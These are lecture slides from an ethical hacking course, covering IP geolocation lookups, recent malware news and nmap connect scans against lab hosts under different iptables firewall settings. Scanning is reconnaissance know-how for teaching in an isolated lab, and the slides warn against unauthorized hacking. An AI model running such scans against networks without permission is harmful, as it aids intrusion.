
CIS 76 - Lesson 6

 Slides and lab posted
 WB converted from PowerPoint
 Print out agenda slide and annotate page numbers

 Flash cards 
 Properties  
 Page numbers  
 1st minute quiz  
 Web Calendar summary   
 Web book pages  
 Commands  

 Lab 5 posted and tested
 T1 on Canvas for last hour of class
 Copy T1 steganography file to depot directory

 Backup slides, whiteboard slides, CCC info, handouts on flash drive 
 Spare 9v battery for mic
 Key card for classroom door

 Update CCC Confer and 3C Media portals
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Rich's lesson module checklist
Last updated 10/26/2017
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CIS 76
Ethical Hacking
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TCP/IP

Enumeration

Port Scanning

Evading Network 
Devices

Hacking 
Web Servers

Hacking Wireless 
Networks

Scripting and 
Programming

Footprinting and 
Social Engineering

Network and 
Computer Attacks

Cryptography

Embedded Operating 
Systems

Student Learner Outcomes
1.Defend a computer and a LAN against a variety of different types of 

security attacks using a number of hands-on techniques.

2.Defend a computer and a LAN against a variety of different types of 
security attacks using a number of hands-on techniques.

Desktop and Server 
Vulnerabilities
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Introductions and Credits
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And thanks to:
• Steven Bolt at for his WASTC EH training.
• Kevin Vaccaro for his CSSIA EH training and Netlab+ pods. 
• EC-Council for their online self-paced CEH v9 course.
• Sam Bowne for his WASTC seminars, textbook recommendation and fantastic 

EH website (https://samsclass.info/).
• Lisa Bock for her great lynda.com EH course.
• John Govsky for many teaching best practices: e.g. the First Minute quizzes, 

the online forum, and the point grading system (http://teacherjohn.com/).
• Google for everything else!

Rich Simms 
• HP Alumnus.
• Started teaching in 2008 when Jim Griffin went on 

sabbatical.
• Rich’s site: http://simms-teach.com
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Student checklist for attending class 

1. Browse to: 
http://simms-teach.com

2. Click the CIS 76 link.
3. Click the Calendar link.
4. Locate today’s lesson.
5. Find the Presentation slides for 

the lesson and download for 
easier viewing.

6. Click the Enter virtual classroom
link to join CCC Confer. 

7. Log into Opus-II with Putty or ssh
command.

Note:  Blackboard Collaborate Launcher only 
needs to be installed once.  It has already 
been downloaded and installed on the 
classroom PC’s.
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 Downloaded PDF of Lesson Slides Google  CCC Confer

 CIS 76 website Calendar page
 One or more login 

sessions to Opus

Student checklist for suggested screen layout
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2) Click overlapping rectangles 
icon.  If  white "Start Sharing" text 
is present then click it as well.

3) Click OK button.

4) Select "Share desktop" 
and click Share button.

1) Instructor gives you sharing privileges.

Student checklist for sharing desktop with classmates
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[ ] Preload White Board

[ ] Connect session to Teleconference

[ ] Is recording on?

[ ] Use teleconferencing, not mic
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Session now connected 
to teleconference

Should be grayed out

Red dot means recording

Should change 
from phone 
handset icon to 
little Microphone 
icon and the 
Teleconferencing … 
message displayed

Rich's CCC Confer checklist - setup
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8[ ] layout and share apps

foxit for slides chrome

putty
vSphere Client

Rich's CCC Confer checklist - screen layout
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[ ] Video (webcam) 

[ ] Make Video Follow Moderator Focus

Rich's CCC Confer checklist - webcam setup
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Run and share the Image Mate 
program just as you would any other 
app with CCC Confer

Elmo rotated down to view side table

Elmo rotated up to view white board

The "rotate image" 
button is necessary 
if you use both the 
side table and the 
white board.  

Quite interesting 
that they consider 
you to be an 
"expert" in order to 
use this button!

Rotate
image 
button

Rotate
image 
button

Rich's CCC Confer checklist - Elmo
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Universal Fix for CCC Confer:
1) Shrink (500 MB) and delete Java cache
2) Uninstall and reinstall latest Java runtime
3) http://www.cccconfer.org/support/technicalSupport.aspx

Control Panel (small icons) 500MB cache sizeGeneral Tab > Settings… Delete these

Google Java download

Rich's CCC Confer checklist - universal fixes
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Start
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Sound Check
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Students that dial-in should mute their line 
using *6 to prevent unintended noises 
distracting the web conference.

Instructor can use *96 to mute all student lines.

Volume
*4 - increase conference volume.
*7 - decrease conference volume.
*5 - increase your voice volume.
*8 - decrease your voice volume.
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Instructor:  Rich Simms
Dial-in: 888-886-3951 
Passcode: 136690

Miguel

Chris CameronTanner

Karl-Heinz

Tre

May

Email me (risimms@cabrillo.edu) a relatively current photo of your face for 3 points extra credit

Sam B.

Ryan M.

GarrettBruce

XuHelen

Philip

Remy

Sam R. Ryan A.

Aga Karina Mariano

Bobby
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Objectives Agenda

• Understand different types of port scans

• Look at port scan tools

• Understand vulnerability scans

• Look at vulnerability scan tools

• Questions

• Housekeeping

• Port Scanning

• Vulnerability scanning

• Assignment

• Wrap up

• Test 1

Scanning

15
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Admonition
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Shared from cis76-newModules.pptx
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Unauthorized hacking is a crime.

The hacking methods and activities 
learned in this course can result in prison 
terms, large fines and lawsuits if used in 
an unethical manner. They may only be 

used in a lawful manner on equipment you 
own or where you have explicit permission 

from the owner.

Students that engage in any unethical, 
unauthorized or illegal hacking may be 

dropped from the course and will receive 
no legal protection or help from the 

instructor or the college.
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Questions
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Questions?

Lesson material?

Labs?    Tests?

How this course works?

19

Chinese 
Proverb

他問一個問題，五分鐘是個傻子，他不問一個問題仍然是一個
傻瓜永遠。

He who asks a question is a fool for five minutes; he who does not ask a question 
remains a fool forever.   

If you don't ask, you don't get.
- Mahatma Gandhi

Who questions much, shall learn 
much, and retain much.

- Francis Bacon 
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IP
Geolocation

20
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Using whois
on IP address

Shows blocks of IP 
addresses that have 
been assigned to 
organizations

[rsimms@opus-ii lab04]$ whois 71.198.222.56

< snipped >

# start

NetRange:       71.192.0.0 - 71.207.255.255

CIDR:           71.192.0.0/12

NetName:        ATT-COMCAST

NetHandle:      NET-71-192-0-0-1

Parent:         NET71 (NET-71-0-0-0-0)

NetType:        Direct Allocation

OriginAS:       AS7922

Organization:   Comcast Cable Communications, LLC (CCCS)

RegDate:        2005-07-27

Updated:        2016-08-31

Ref:            https://whois.arin.net/rest/net/NET-71-192-0-0-1

OrgName:        Comcast Cable Communications, LLC

OrgId:          CCCS

Address:        1800 Bishops Gate Blvd

City:           Mt Laurel

StateProv:      NJ

PostalCode:     08054

Country:        US

RegDate:        2001-09-17

Updated:        2017-01-28

Ref:            https://whois.arin.net/rest/org/CCCS

< snipped >

# start

NetRange:       71.198.0.0 - 71.198.255.255

CIDR:           71.198.0.0/16

NetName:        BAYAREA-19

NetHandle:      NET-71-198-0-0-1

Parent:         ATT-COMCAST (NET-71-192-0-0-1)

NetType:        Reassigned

OriginAS:

Customer:       Comcast Cable Communications, IP Services (C01246427)

RegDate:        2005-12-19

Updated:        2005-12-19

Ref:            https://whois.arin.net/rest/net/NET-71-198-0-0-1

CustName:       Comcast Cable Communications, IP Services

Address:        1800 Bishops Gate Blvd.

City:           Mt Laurel

StateProv:      NJ

PostalCode:     08054-4628

Country:        US

RegDate:        2005-12-19

Updated:        2016-08-31

Ref:            https://whois.arin.net/rest/customer/C01246427

< snipped >

[rsimms@opus-ii lab04]$
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http://whatismyipaddress.com

There are multiple 
vendors that provide 
more accurate locations

http://whatismyipaddress.com/
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https://www.iplocation.net/

There are multiple 
vendors that provide 
more accurate locations

https://www.iplocation.net/
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https://hackertarget.com/geoip
-ip-location-lookup/

[rsimms@opus-ii lab04]$ curl http://api.hackertarget.com/geoip/?q=71.198.222.56

IP Address: 71.198.222.56

Country: US

State: California

City: Santa Cruz

Latitude: 36.971298

Longitude: -121.987503

[rsimms@opus-ii lab04]$

There are multiple 
vendors that provide 
more accurate locations

Some provide APIs to get 
locations via a script or 
command line

https://hackertarget.com/geoip-ip-location-lookup/
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25https://tools.keycdn.com/geo

[rsimms@opus-ii ~]$ curl "https://tools.keycdn.com/geo.json?host=71.198.222.56"
{"status":"success","description":"Data successfully 

received.","data":{"geo":{"host":"71.198.222.56","ip":"71.198.222.56","rdns":"c-71-198-222-

56.hsd1.ca.comcast.net","asn":"AS7922","isp":"Comcast Cable Communications, LLC 

","country_name":"United States","country_code":"US","region":"CA","city":"Santa

Cruz","postal_code":"95062","continent_code":"NA","latitude":"36.971298217773","longitude":"-

121.98750305176","dma_code":"828","area_code":"831","timezone":"America\/Los_Angeles","datetime":"2

017-10-01 15:09:46"}}}

This site uses a RESTful API to get 
locations via a script or command line

https://tools.keycdn.com/geo
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[rsimms@opus-ii ~]$ curl "https://tools.keycdn.com/geo.json?host=71.198.222.56" | python -mjson.tool

% Total    % Received % Xferd Average Speed   Time    Time Time Current

Dload Upload   Total   Spent    Left  Speed

100   519    0   519    0     0   1082      0 --:--:-- --:--:-- --:--:-- 1083

{

"data": {

"geo": {

"area_code": "831",

"asn": "AS7922",

"city": "Santa Cruz",

"continent_code": "NA",

"country_code": "US",

"country_name": "United States",

"datetime": "2017-10-01 15:12:55",

"dma_code": "828",

"host": "71.198.222.56",

"ip": "71.198.222.56",

"isp": "Comcast Cable Communications, LLC ",

"latitude": "36.971298217773",

"longitude": "-121.98750305176",

"postal_code": "95062",

"rdns": "c-71-198-222-56.hsd1.ca.comcast.net",

"region": "CA",

"timezone": "America/Los_Angeles"

}

},

"description": "Data successfully received.",

"status": "success"

}

[rsimms@opus-ii ~]$

26https://tools.keycdn.com/geo

Using python to format the 
JSON output obtained 
using the RESTful API

https://tools.keycdn.com/geo
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Top attackers
NoSweat : Monday, October 02, 2017

Source address Source Name Source User Count

58.58.186.248 58.58.186.248 70

60.205.171.184 60.205.171.184 58

133.18.169.80 v133-18-169-80.vir.kagoya.net 22

80.82.70.234 80.82.70.234 6

185.132.126.184 cp1.hostbil.com 5

37.72.180.76 37.72.180.76 5

27.35.215.218 27.35.215.218 3

66.240.205.34 malware-hunter.census.shodan.io 3

104.40.220.5 104.40.220.5 1

204.188.251.130 204.188.251.130 1

curl http://api.hackertarget.com/geoip/?q=x.x.x.x

curl "https://tools.keycdn.com/geo.json?host=x.x.x.x" | python -mjson.tool
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In the 
news

28
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Recent news

BankBot trojan returns to Google Play with new tricks
BY LUKAS STEFANKO POSTED 25 SEP 2017 - 02:54PM

"The dangerous Android banking trojan that we first reported here at the 
beginning of 2017 has found its way to Google Play again, now stealthier 
than ever."

"Subsequently dubbed BankBot, the banking trojan has been evolving 
throughout the year, resurfacing in different versions both on and outside 
Google Play. The variant we discovered on Google Play on September 4 is 
the first one to successfully combine the recent steps of BankBot’s
evolution: improved code obfuscation, a sophisticated payload dropping 
functionality, and a cunning infection mechanism abusing Android’s 
Accessibility Service."

31

https://www.welivesecurity.com/2017/09/25/banking-trojan-returns-google-
play/?utm_source=newsletter&utm_medium=email&utm_campaign=wls-
newsletter-290917

https://www.welivesecurity.com/2017/09/25/banking-trojan-returns-google-play/?utm_source=newsletter&utm_medium=email&utm_campaign=wls-newsletter-290917
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Recent news

Money-making machine: Monero-mining malware
BY PETER KÁLNAI AND MICHAL POSLUŠNÝ POSTED 28 SEP 2017 - 02:54PM

"While the world is holding its breath, wondering where notorious 
cybercriminal groups like Lazarus or Telebots will strike next with another 
destructive malware such as WannaCryptor or Petya, there are many 
other, less aggressive, much stealthier and often very profitable 
operations going on."

"One such operation has been going on since at least May 2017, with 
attackers infecting unpatched Windows webservers with a malicious 
cryptocurrency miner. The goal: use the servers’ computing power to 
mine Monero (XMR), one of the newer cryptocurrency alternatives to 
Bitcoin."

32

https://www.welivesecurity.com/2017/09/25/banking-trojan-returns-google-
play/?utm_source=newsletter&utm_medium=email&utm_campaign=wls-
newsletter-290917

https://www.welivesecurity.com/2017/09/25/banking-trojan-returns-google-play/?utm_source=newsletter&utm_medium=email&utm_campaign=wls-newsletter-290917
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Recent news

Millions of Up-to-Date Apple Macs Remain Vulnerable to 
EFI Firmware Hacks
BY Mohit Kumar  

"Apple uses Intel-designed Extensible Firmware Interface (EFI) for Mac 
computers that work at a lower level than a computer's OS and 
hypervisors—and controls the boot process."

"EFI runs before macOS boots up and has higher-level privileges that, if 
exploited by attackers, could allow EFI malware to control everything 
without being detected."

33

https://thehackernews.com/2017/09/apple-mac-efi-malware.html

https://thehackernews.com/2017/09/apple-mac-efi-malware.html
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Recent news

US-CERT Bulletin (SB17-275)
Vulnerability Summary for the Week of September 25, 2017

34

https://www.us-cert.gov/ncas/bulletins/SB17-275

https://www.us-cert.gov/ncas/bulletins/SB17-275
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Best 
Practices
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Defense Best Practices

How to detect a phishing email

36

https://inspiredelearning.com/wp-content/uploads/2017/05/phishing-infographic-full.jpg

https://inspiredelearning.com/wp-content/uploads/2017/05/phishing-infographic-full.jpg
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Housekeeping

38
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No labs due today

Test 1 will become available at 7:30 PM tonight

• Open book, open notes, open computer.

• You must work alone and not help or receive help from others.

• Online timed 60 minute test using Canvas

• Online "archive watching" students that work can take it later 
today but it must be completed by 11:59 PM.

• Practice test ends 30 minutes before real test starts!

Next week:

• Quiz 5

• Lab 5 is due
39
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Test 1

HONOR CODE:

This test is open book, open notes, and open computer. 

HOWEVER, you must work alone. You may not discuss 
the test questions or answers with others during the test. 

You may not ask or receive assistance from anyone other 
than the instructor when doing this test. 

Likewise you may not give any assistance to anyone 
taking the test.
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Linux Mint Home Loan PCs

Email me if interested
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This is an important 
source of funding for 
Cabrillo College.

Send me an email 
stating you completed 
this Perkins/VTEA 
survey for three 
points extra credit!

http://oslab.cis.cabrillo.edu/forum/viewtopic.php?f=121&t=4176

Perkins/VTEA Survey
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Subscribe by sending an email (no subject or body) to:

networkers-subscribe@cabrillo.edu

• Program information

• Certification information

• Career and job information

• Short-term classes, events, lectures, tours, etc.

• Surveys

• Networking info and links

Cabrillo Networking Program Mailing list

43
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Microsoft Academic Webstore

• Microsoft software for 
students registered in 
a CIS or CS class at 
Cabrillo

• Available after 
registration is final 
(two weeks after first 
class)

44
To get to this page, go to http://simms-teach.com/resources and 
click on the appropriate link in the Tools and Software section
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VMware Academic Webstore

• VMware software for 
students registered in 
a CIS or CS class at 
Cabrillo

• Available after 
registration is final 
(two weeks after first 
class)

45
To get to this page, go to http://simms-teach.com/resources and 
click on the appropriate link in the Tools and Software section
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Scanning
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EC-Council Five Phases of Hacking

Phase 1 - Reconnaissance

Phase 2 - Scanning

Phase 3 - Gaining Access

Phase 4 - Maintaining Access

Phase 5 - Clearing Tracks

http://www.techrepublic.com/blog/it-security/the-five-phases-of-a-successful-network-penetration/

http://www.techrepublic.com/blog/it-security/the-five-phases-of-a-successful-network-penetration/
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Scanning

Objectives
• Discover all open services on a host server.
• Detect firewalls.
• Identify vulnerabilities.

Process:
• Scan all ports (not just well-known ports) and 

make a list of open services.
• Record evidence of firewalls (stateful or not 

stateful)
• Scan open services and identify the products 

and versions in use.
• Identify vulnerabilities in those products using 

vulnerability scans and research.
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nmap
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nmap.org

https://nmap.org/book/man-port-scanning-techniques.html

https://nmap.org/book/man-port-scanning-techniques.html
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SANS Nmap Cheat Sheet

https://pen-testing.sans.org/blog/2013/10/08/nmap-cheat-sheet-1-0

https://pen-testing.sans.org/blog/2013/10/08/nmap-cheat-sheet-1-0
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https://pen-testing.sans.org/blog/2013/10/08/nmap-cheat-sheet-1-0

https://pen-testing.sans.org/blog/2013/10/08/nmap-cheat-sheet-1-0
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nmap 10.76.n.0/24
(where n = your pod number)

Does a quick discovery of the 
hosts in your pod showing 
port status

10.76.5.1

10.76.5.101

10.76.5.201

10.76.5.207

10.76.5.150

nmap 10.76.5.0/24
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zenmap

A GUI for nmap
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On Kali: Applications > 01 Information Gathering > Zenmap

Select 
network 
to scan

Then click 
the Scan 
button
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On Kali: Applications > 01 Information Gathering > Zenmap
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On Kali: Applications > 01 Information Gathering > Zenmap
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On Kali: Applications > 01 Information Gathering > Zenmap
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On Kali: Applications > 01 Information Gathering > Zenmap
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Connect

Scan

same subnet

no firewall
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https://pen-testing.sans.org/blog/2013/10/08/nmap-cheat-sheet-1-0

Connect Scan

https://pen-testing.sans.org/blog/2013/10/08/nmap-cheat-sheet-1-0
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Connect Scan

• Completes the three-way handshake
• Detectable and can be logged as a TCP connection 

(see example below)
• Result is one of three states: Open, Closed, and 

Filtered

These TCP connections were logged by the Palo Alto Networks firewall
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Connect Scan Summary

HTTP service Firewall nmap result

running stopped ?

stopped stopped ?

.126

“Microlab Network”
172.30.10.0/24

EH-KaliEH-Centos
Web Server 

.160

Target Attacker
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.126

“Microlab Network”
172.30.10.0/24

EH-KaliEH-Centos
Web Server 

.160

Target Attacker

Attacker and victim are on the same subnet

The EH-Centos webserver and firewall 
are stopped.

[rsimms@EH-Centos ~]$ sudo service iptables status

iptables: Firewall is not running.

[rsimms@EH-Centos ~]$

[rsimms@EH-Centos ~]$ sudo service httpd status

httpd is stopped

[rsimms@EH-Centos ~]$ 

Connect Scan
Firewall = stopped and HTTP Service = stopped
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.126

“Microlab Network”
172.30.10.0/24

EH-KaliEH-Centos
Web Server 

.160

Target Attacker

Attacker will use nmap to 
determine status of port 80 
(HTTP) on EH-Centos

nmap -sT -Pn -p 80 eh-centos

Use "connect" scan

Treat host as online (skip host discovery)

Scan port 80

Connect Scan
Firewall = stopped and HTTP Service = stopped



CIS 76 - Lesson 6

69

Victim resets connection

Connect Scan
Firewall = stopped and HTTP Service = stopped

sudo nmap -sT -Pn -p 80 eh-centos

Result:  nmap reports port 80 is closed on EH-Centos
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.126

“Microlab Network”
172.30.10.0/24

EH-KaliEH-Centos
Web Server 

.160

Target Attacker

Attacker and victim are on the same subnet

[rsimms@EH-Centos ~]$ sudo service iptables status

iptables: Firewall is not running.

[rsimms@EH-Centos ~]$

[root@EH-Centos ~]# service httpd status

httpd (pid 4196) is running...

[root@EH-Centos ~]# 

Connect Scan
Firewall = stopped and HTTP Service = running

The EH-Centos webserver is running, 
the firewall is stopped.
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.126

“Microlab Network”
172.30.10.0/24

EH-KaliEH-Centos
Web Server 

.160

Target Attacker

nmap -sT -Pn -p 80 eh-centos

Use "connect" scan

Treat host as online (skip host discovery)

Scan port 80

Connect Scan
Firewall = stopped and HTTP Service = running

Attacker will use nmap to 
determine status of port 80 
(HTTP) on EH-Centos
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Attacker resets connection after three-way handshake completes

sudo nmap -sT -Pn -p 80 eh-centos

Connect Scan
Firewall = stopped and HTTP Service = running

Result:  nmap reports 80 is open on EH-Centos
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Connect Scan Summary

HTTP service Firewall nmap result

running stopped open

stopped stopped closed

.126

“Microlab Network”
172.30.10.0/24

EH-KaliEH-Centos
Web Server 

.160

Target Attacker
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Connect

Scan

different subnets

firewall on target
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https://pen-testing.sans.org/blog/2013/10/08/nmap-cheat-sheet-1-0

Connect Scan

https://pen-testing.sans.org/blog/2013/10/08/nmap-cheat-sheet-1-0
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Connect Scan

• Completes the three-way handshake.
• Detectable and can be logged as a TCP connection 

(see example below).
• Scan results: 

• If SYN-ACK received:  "open".
• If RST received:  "closed".
• If no reply or ICMP error:  "filtered".

These TCP connections were logged by the Palo Alto Networks firewall
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HTTP service Firewall nmap result

running running, ACCEPT 80 ?

running running, DROP 80 ?

running running, REJECT 80 w/ error ?

stopped running, ACCEPT 80 ?

stopped running, DROP 80 ?

stopped running, REJECT 80 w/ error ?

Connect Scan Experiments

EH-Pod-05

EH-pfSense-05
gateway

"EH-Pod-05  Network"
10.76.5.0/24

.205 .1 .150

“Microlab Network”
172.30.10.0/24

EH-Kali-05EH-Centos
Web Server
and firewall 

.160

Target Attacker

nmap -sT -Pn -p 80 eh-centos
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Firewall = running
Port 80 ACCEPT

Web service = running

Connect Scan Setup
Firewall = running (accepts HTTP) and HTTP Service = running

EH-Pod-05

EH-pfSense-05
gateway

"EH-Pod-05  Network"
10.76.5.0/24

.205 .1 .150

“Microlab Network”
172.30.10.0/24

EH-Kali-05EH-Centos
Web Server
and firewall 

.160

Target Attacker

nmap -sT -Pn -p 80 eh-centos
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EH-Centos
Firewall = running (accepts HTTP) and HTTP Service = running

[root@EH-Centos ~]# service iptables status

Table: filter

Chain INPUT (policy ACCEPT)

num target     prot opt source               destination         

1    ACCEPT     all  -- 0.0.0.0/0            0.0.0.0/0           state RELATED,ESTABLISHED 

2    ACCEPT     icmp -- 0.0.0.0/0            0.0.0.0/0           

3    ACCEPT     all  -- 0.0.0.0/0            0.0.0.0/0           

4    ACCEPT     tcp  -- 0.0.0.0/0            0.0.0.0/0           state NEW tcp dpt:21 

5    ACCEPT     tcp  -- 0.0.0.0/0            0.0.0.0/0           state NEW tcp dpt:22 

6    ACCEPT     tcp  -- 0.0.0.0/0            0.0.0.0/0           state NEW tcp dpt:23 

7    ACCEPT     tcp  -- 0.0.0.0/0            0.0.0.0/0           state NEW tcp dpt:25 

8    ACCEPT     tcp  -- 0.0.0.0/0            0.0.0.0/0           state NEW tcp dpt:80 

9    REJECT     all  -- 0.0.0.0/0            0.0.0.0/0           reject-with icmp-host-prohibited 

Chain FORWARD (policy ACCEPT)

num target     prot opt source               destination         

1    REJECT     all  -- 0.0.0.0/0            0.0.0.0/0           reject-with icmp-host-prohibited 

Chain OUTPUT (policy ACCEPT)

num target     prot opt source               destination         

[root@EH-Centos ~]#

[root@EH-Centos ~]# service httpd status

httpd (pid 4196) is running...

[root@EH-Centos ~]# 

The EH-Centos webserver is 
running, the firewall is running 
with port 80 (HTTP) open.
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EH-Centos
Firewall = running (accepts HTTP) and HTTP Service = running

The EH-Centos webserver is running

[root@EH-Centos ~]# iptables -S

-P INPUT ACCEPT

-P FORWARD ACCEPT

-P OUTPUT ACCEPT

-A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT 

-A INPUT -p icmp -j ACCEPT 

-A INPUT -i lo -j ACCEPT 

-A INPUT -p tcp -m state --state NEW -m tcp --dport 21 -j ACCEPT 

-A INPUT -p tcp -m state --state NEW -m tcp --dport 22 -j ACCEPT 

-A INPUT -p tcp -m state --state NEW -m tcp --dport 23 -j ACCEPT 

-A INPUT -p tcp -m state --state NEW -m tcp --dport 25 -j ACCEPT 

-A INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPT 

-A INPUT -j REJECT --reject-with icmp-host-prohibited 

-A FORWARD -j REJECT --reject-with icmp-host-prohibited 

[root@EH-Centos ~]# 

[root@EH-Centos ~]# service httpd status

httpd (pid 4196) is running...

[root@EH-Centos ~]# 

The firewall is running with port 80 (HTTP) open
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Three-way handshake completes then attacker resets connection  

Connect Scan
Firewall = running (accepts HTTP) and HTTP Service = running

nmap -sT -Pn -p 80 172.30.10.160

Result:  nmap reports port 80 is open on EH-Centos
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Firewall = running
Port 80 DROP 

Web service = running

Connect Scan Setup
Firewall = running (drops HTTP) and HTTP Service = running

EH-Pod-05

EH-pfSense-05
gateway

"EH-Pod-05  Network"
10.76.5.0/24

.205 .1 .150

“Microlab Network”
172.30.10.0/24

EH-Kali-05EH-Centos
Web Server
and firewall 

.160

Target Attacker

nmap -sT -Pn -p 80 eh-centos
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[root@EH-Centos ~]# service httpd status

httpd (pid 4196) is running...

[root@EH-Centos ~]# 

EH-Centos
Firewall = running (drops HTTP) and HTTP Service = running

[root@EH-Centos ~]# service iptables status

Table: filter

Chain INPUT (policy ACCEPT)

num target     prot opt source               destination         

1    ACCEPT     all  -- 0.0.0.0/0            0.0.0.0/0           state RELATED,ESTABLISHED 

2    ACCEPT     icmp -- 0.0.0.0/0            0.0.0.0/0           

3    ACCEPT     all  -- 0.0.0.0/0            0.0.0.0/0           

4    ACCEPT     tcp  -- 0.0.0.0/0            0.0.0.0/0           state NEW tcp dpt:21 

5    ACCEPT     tcp  -- 0.0.0.0/0            0.0.0.0/0           state NEW tcp dpt:22 

6    ACCEPT     tcp  -- 0.0.0.0/0            0.0.0.0/0           state NEW tcp dpt:23 

7    ACCEPT     tcp  -- 0.0.0.0/0            0.0.0.0/0           state NEW tcp dpt:25 

8    DROP       tcp  -- 0.0.0.0/0            0.0.0.0/0           state NEW tcp dpt:80 

9    REJECT     all  -- 0.0.0.0/0            0.0.0.0/0           reject-with icmp-host-prohibited 

Chain FORWARD (policy ACCEPT)

num target     prot opt source               destination         

1    REJECT     all  -- 0.0.0.0/0            0.0.0.0/0           reject-with icmp-host-prohibited 

Chain OUTPUT (policy ACCEPT)

num target     prot opt source               destination         

[root@EH-Centos ~]# 

The EH-Centos webserver is 
running, the firewall is dropping 
any packets to port 80 (HTTP).
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EH-Centos
Firewall = running (drops HTTP) and HTTP Service = running

[root@EH-Centos ~]# iptables -S

-P INPUT ACCEPT

-P FORWARD ACCEPT

-P OUTPUT ACCEPT

-A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT 

-A INPUT -p icmp -j ACCEPT 

-A INPUT -i lo -j ACCEPT 

-A INPUT -p tcp -m state --state NEW -m tcp --dport 21 -j ACCEPT 

-A INPUT -p tcp -m state --state NEW -m tcp --dport 22 -j ACCEPT 

-A INPUT -p tcp -m state --state NEW -m tcp --dport 23 -j ACCEPT 

-A INPUT -p tcp -m state --state NEW -m tcp --dport 25 -j ACCEPT 

-A INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j DROP 

-A INPUT -j REJECT --reject-with icmp-host-prohibited 

-A FORWARD -j REJECT --reject-with icmp-host-prohibited 

[root@EH-Centos ~]# 

[root@EH-Centos ~]# service httpd status

httpd (pid 4196) is running...

[root@EH-Centos ~]# 

The EH-Centos webserver is running

The firewall is running and dropping any packets to port 80 (HTTP)
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Target does not respond and attacker times-out

Connect Scan
Firewall = running (drops HTTP) and HTTP Service = running

Result:  nmap reports port 80 is filtered on EH-Centos

nmap -sT -Pn -p 80 eh-centos
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Firewall = running
Port 80 REJECT with error

Web service = running

Connect Scan Setup
Firewall = running (reject HTTP with error) and HTTP Service = running

EH-Pod-05

EH-pfSense-05
gateway

"EH-Pod-05  Network"
10.76.5.0/24

.205 .1 .150

“Microlab Network”
172.30.10.0/24

EH-Kali-05EH-Centos
Web Server
and firewall 

.160

Target Attacker

nmap -sT -Pn -p 80 eh-centos
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The EH-Centos webserver is running, 
the firewall is rejecting packets to 
port 80 (HTTP) with an error.

Connect Scan
Firewall = running (reject HTTP with error) and HTTP Service = running

[root@EH-Centos ~]# service iptables status

Table: filter

Chain INPUT (policy ACCEPT)

num target     prot opt source               destination

1    ACCEPT     all  -- 0.0.0.0/0            0.0.0.0/0           state RELATED,ESTABLISHED

2    ACCEPT     icmp -- 0.0.0.0/0            0.0.0.0/0

3    ACCEPT     all  -- 0.0.0.0/0            0.0.0.0/0

4    ACCEPT     tcp  -- 0.0.0.0/0            0.0.0.0/0           state NEW tcp dpt:21

5    ACCEPT     tcp  -- 0.0.0.0/0            0.0.0.0/0           state NEW tcp dpt:22

6    ACCEPT     tcp  -- 0.0.0.0/0            0.0.0.0/0           state NEW tcp dpt:23

7    ACCEPT     tcp  -- 0.0.0.0/0            0.0.0.0/0           state NEW tcp dpt:25

8    REJECT     tcp  -- 0.0.0.0/0            0.0.0.0/0           state NEW tcp dpt:80 reject-with 

icmp-host-prohibited

9    REJECT     all  -- 0.0.0.0/0            0.0.0.0/0           reject-with icmp-host-prohibited

Chain FORWARD (policy ACCEPT)

num target     prot opt source               destination

1    REJECT     all  -- 0.0.0.0/0            0.0.0.0/0           reject-with icmp-host-prohibited

Chain OUTPUT (policy ACCEPT)

num target     prot opt source               destination

[root@EH-Centos ~]#

[root@EH-Centos ~]# service httpd status

httpd (pid 4196) is running...

[root@EH-Centos ~]# 
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Connect Scan
Firewall = running (reject HTTP with error) and HTTP Service = running

The EH-Centos webserver is running

The firewall is running and rejecting any packets to port 80 (HTTP) with error

[root@EH-Centos ~]# service httpd status

httpd (pid 4196) is running...

[root@EH-Centos ~]# 

[root@EH-Centos ~]# iptables -S

-P INPUT ACCEPT

-P FORWARD ACCEPT

-P OUTPUT ACCEPT

-A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT

-A INPUT -p icmp -j ACCEPT

-A INPUT -i lo -j ACCEPT

-A INPUT -p tcp -m state --state NEW -m tcp --dport 21 -j ACCEPT

-A INPUT -p tcp -m state --state NEW -m tcp --dport 22 -j ACCEPT

-A INPUT -p tcp -m state --state NEW -m tcp --dport 23 -j ACCEPT

-A INPUT -p tcp -m state --state NEW -m tcp --dport 25 -j ACCEPT

-A INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j REJECT --reject-with 

icmp-host-prohibited

-A INPUT -j REJECT --reject-with icmp-host-prohibited

-A FORWARD -j REJECT --reject-with icmp-host-prohibited

[root@EH-Centos ~]#
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Target replies with ICMP error

nmap -sT -Pn -p 80 eh-centos

Result:  nmap reports port 80 is filtered on EH-Centos

Connect Scan
Firewall = running (reject HTTP with error) and HTTP Service = running
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Connect Scan Setup
Firewall = running (ACCEPT 80) and HTTP Service = stopped

nmap -sT -Pn -p 80 eh-centos

Result:  nmap reports port 80 is closed

Target port responds by resetting the connection
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Connect Scan Setup
Firewall = running (DROP 80) and HTTP Service = stopped

nmap -sT -Pn -p 80 eh-centos

Result:  nmap reports port 80 is filtered

Target does not respond and attacker times-out
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Connect Scan Setup
Firewall = running (Reject 80 with error) and HTTP Service = stopped

nmap -sT -Pn -p 80 eh-centos

Result:  nmap reports port 80 is filtered

Target replies with ICMP error
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HTTP service Firewall nmap result

running running, ACCEPT 80 Open

running running, DROP 80 Filtered

running running, REJECT 80 w/ error Filtered

stopped running, ACCEPT 80 Closed

stopped running, DROP 80 Filtered

stopped running, REJECT 80 w/ error Filtered

Connect Scan Summary

EH-Pod-05

EH-pfSense-05
gateway

and firewall

"EH-Pod-05  Network"
10.76.5.0/24

.205 .1 .150

“Microlab Network”
172.30.10.0/24

EH-Kali-05EH-Centos
Web Server 

.160

Target Attacker

nmap -sT -Pn -p 80 eh-centos
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Practice

Assume the web server at 172.30.10.160 is powered up and online

What can you conclude about the server's HTTP web service?

A) [open] It's up (running), the website can be browsed.
B) [closed] It's down (stopped), the website is not available.
C) [filtered] Unknown, a firewall is blocking access and the 

website is not available.
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Practice

Assume the web server at 172.30.10.160 is powered up and online

What can you conclude about the server's HTTP web service?

A) [open] It's up (running), the website can be browsed.
B) [closed] It's down (stopped), the website is not available.
C) [filtered] Unknown, a firewall is blocking access and the 

website is not available.



CIS 76 - Lesson 6

105

Practice

Assume the web server at 172.30.10.160 is powered up and online

What can you conclude about the server's HTTP web service?

A) [open] It's up (running), the website can be browsed.
B) [closed] It's down (stopped), the website is not available.
C) [filtered] Unknown, a firewall is blocking access and the 

website is not available.
